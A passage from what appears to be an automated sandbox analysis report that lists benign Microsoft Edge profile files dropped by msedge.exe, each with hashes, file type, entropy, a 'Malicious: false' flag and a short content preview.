SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF49b61.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.4762241568051169
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBfWk:OIEumQv8m1ccnvS6i8Dow0Wjpt7ycOJ0
MD5:	AB059F8F08E61404890678D49FB8B922
SHA1:	638383CE083C28C15377C55B1581A39C2DDF1EB0
SHA-256:	7FD341CCCFAE71C2EDD93E4B0B9D213A286411BB143031CA893BCB8EBDFE9802
SHA-512:	2A814F2CDA3D95FAF0EFFA032E4495FBB5B62F2218F78611460DD368B44F8F5041AD9C98541831D4159BDCECA40B45C1673E09A0FC0EB2DD7BA3EAC57595CC77
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF38f02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF39c02.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\dcb20497-87f5-4b5d-8b91-ee47a008703c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\f68a828a-55d2-4f9c-9ebf-307273fda29c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	5.325823498422527
Encrypted:	false
SSDEEP:	48:YcgCzsFItsFKfcKsg/leeBkBRsLCgHabxo+:FSISKhkeBkBMTaVo+
MD5:	D85E992B977E581949C555FA44BDB523
SHA1:	7AC7197AC57A8F9A0ACB6324E821E9AC9C85E3B5
SHA-256:	BB8222D35FF20C95CC3BFB60B62DE3A9BDF8E2ADDB329CA358E4A011A77683C1
SHA-512:	53576592AB79C98D80CDEE6B36D6BE917AA7DF2558B957A645CC7E5606662A6665AFEBCBBA4BC5394ACE124CBE384F4E21BD1E784717BEE634ADCACC3DC10550
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377231989824391","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377231991700982","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13374733595165365","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.1144856512351975
Encrypted:	false
SSDEEP:	192:stQkdpJspHZ1sZihUkz3Yh81bV+F4vQA66WTaFIMY1PqYJ:stQQJsNZ1fh5bGEQx6WTaTYp
MD5:	4AD4DE2BAEBF6CF898CFA05B448FB30B
SHA1:	C360AB9CB08597C226F45B032914982F1C1E0619
SHA-256:	20C0490EB172857CB6C6329E4C592C0F9741326329192429D5D6C01F09739BFB
SHA-512:	C6C5E0ABCA8E5A5DC53072D6CC540ED8530D60093BA4F6ED73121413E9397BDC90B91149806AB998E0221E704D73B5479CE4A213A1616924646F4097B9D55FCB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3caa4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.1144856512351975
Encrypted:	false
SSDEEP:	192:stQkdpJspHZ1sZihUkz3Yh81bV+F4vQA66WTaFIMY1PqYJ:stQQJsNZ1fh5bGEQx6WTaTYp
MD5:	4AD4DE2BAEBF6CF898CFA05B448FB30B
SHA1:	C360AB9CB08597C226F45B032914982F1C1E0619
SHA-256:	20C0490EB172857CB6C6329E4C592C0F9741326329192429D5D6C01F09739BFB
SHA-512:	C6C5E0ABCA8E5A5DC53072D6CC540ED8530D60093BA4F6ED73121413E9397BDC90B91149806AB998E0221E704D73B5479CE4A213A1616924646F4097B9D55FCB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF416ff.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.1144856512351975
Encrypted:	false
SSDEEP:	192:stQkdpJspHZ1sZihUkz3Yh81bV+F4vQA66WTaFIMY1PqYJ:stQQJsNZ1fh5bGEQx6WTaTYp
MD5:	4AD4DE2BAEBF6CF898CFA05B448FB30B
SHA1:	C360AB9CB08597C226F45B032914982F1C1E0619
SHA-256:	20C0490EB172857CB6C6329E4C592C0F9741326329192429D5D6C01F09739BFB
SHA-512:	C6C5E0ABCA8E5A5DC53072D6CC540ED8530D60093BA4F6ED73121413E9397BDC90B91149806AB998E0221E704D73B5479CE4A213A1616924646F4097B9D55FCB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF48c3e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.1144856512351975
Encrypted:	false
SSDEEP:	192:stQkdpJspHZ1sZihUkz3Yh81bV+F4vQA66WTaFIMY1PqYJ:stQQJsNZ1fh5bGEQx6WTaTYp
MD5:	4AD4DE2BAEBF6CF898CFA05B448FB30B
SHA1:	C360AB9CB08597C226F45B032914982F1C1E0619
SHA-256:	20C0490EB172857CB6C6329E4C592C0F9741326329192429D5D6C01F09739BFB
SHA-512:	C6C5E0ABCA8E5A5DC53072D6CC540ED8530D60093BA4F6ED73121413E9397BDC90B91149806AB998E0221E704D73B5479CE4A213A1616924646F4097B9D55FCB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374639987372230","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56691621599091
Encrypted:	false
SSDEEP:	768:cfaaNO7pLGLpZoWPYmfsz8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrU73RivurwXpJP:cfaaNOcpZoWPYmfszu1jaOq3ovrLtl
MD5:	E8EB505123D5180BC09DADF34395566B
SHA1:	E4DBD8DAF1AED947172FF256A82DEBB57301A5A5
SHA-256:	3042B95707B2DAD99F68DCA0FEBDB9BB7BCE7481373193B2351DE135731FF8FF
SHA-512:	C255D8B11A4E0FC6DB418E8CD0120CCE2D059F7656BF7D4CDC93FA6837CE7B90C1BE7C3731E14C28C7F06C61577D6C5EA3FB14F3AF23DBFB962F080B4C3FB0EF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374639986230698","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374639986230698","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3cc4a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	30243
Entropy (8bit):	5.56691621599091
Encrypted:	false
SSDEEP:	768:cfaaNO7pLGLpZoWPYmfsz8F1+UoAYDCx9Tuqh0VfUC9xbog/OVrU73RivurwXpJP:cfaaNOcpZoWPYmfszu1jaOq3ovrLtl
MD5:	E8EB505123D5180BC09DADF34395566B
SHA1:	E4DBD8DAF1AED947172FF256A82DEBB57301A5A5
SHA-256:	3042B95707B2DAD99F68DCA0FEBDB9BB7BCE7481373193B2351DE135731FF8FF
SHA-512:	C255D8B11A4E0FC6DB418E8CD0120CCE2D059F7656BF7D4CDC93FA6837CE7B90C1BE7C3731E14C28C7F06C61577D6C5EA3FB14F3AF23DBFB962F080B4C3FB0EF
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374639986230698","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374639986230698","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.8627469177184235
Encrypted:	false
SSDEEP:	24:F2xc5Nm+cncmokCROulg2D5fRH1Y7CROulg2oSujF0CROulg2DkRH1YkCROulg2b:F2emPedD5fBDdoHhhdDkBkdvBB
MD5:	5DE37ECB0DF16BF7708C9E4E18A09DE4
SHA1:	8D4410B013B93147B422AECA85BDA4235AD47195
SHA-256:	7C0F32445E413A6481CFCECC293DFA5C1610CF11CD74B3068E62A17C8B38A1E6
SHA-512:	4DB0A8F4E48FF1C1BBFABF0A39C057990D919F4152704CFC5DDDBEFC7DBF0441064626BBE359474C785D3A3E294C2A232502469B41A4C109C828429FD2A5D9BE
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.a.1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.157926906176514
Encrypted:	false
SSDEEP:	6:yMQ1923oH+TcwtE/a252KLlk0y+q2P923oH+TcwtE/a2ZIFUv:HYeb8xLq+v4Yeb8J2FUv
MD5:	C0975E1EC21F82C5DF7108173B29CD93
SHA1:	03D38B04CF330BE2BE11018C5EEC751BC3363512
SHA-256:	B7258C967FB1B040507A839BAD1B7668DE4CC53825A679A173173951F9E61F85
SHA-512:	2B6DAF6668434BA7F2372F344B7F3D8E8B72520C3C503BF25EBE3F6361FB1121776D56A46C0DE3174D742FFE67D6E1AE04A1EDB98EA6E1CCDDD857C9FF638E59
Malicious:	false
Preview:	2024/10/28-21:46:41.173 1ddc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/28-21:46:41.186 1ddc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113138
Entropy (8bit):	5.578159402750005
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG4CDHjmIZwi8L/r4L/ryC:59LyxPXfOxr1lMe1Z6rFoDmThL/ML/t
MD5:	38FBAC0DA8FBE58499454774174EB2CB
SHA1:	EA232A7CFB96AD2EC7275005F6FD45073CDB3C2D
SHA-256:	CFC014146E92238448B9701305CACD9E2BF9CA67CB815899415FE21763FF3400
SHA-512:	8B395CECE6D97BDC59B2440F591A09153ED9C74395553F24C44535A75421A98196BA49000BEAECFAF75CB313F74C790D9ACB23515FB936EA080C760A148B0ABF
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187249
Entropy (8bit):	6.380415739347714
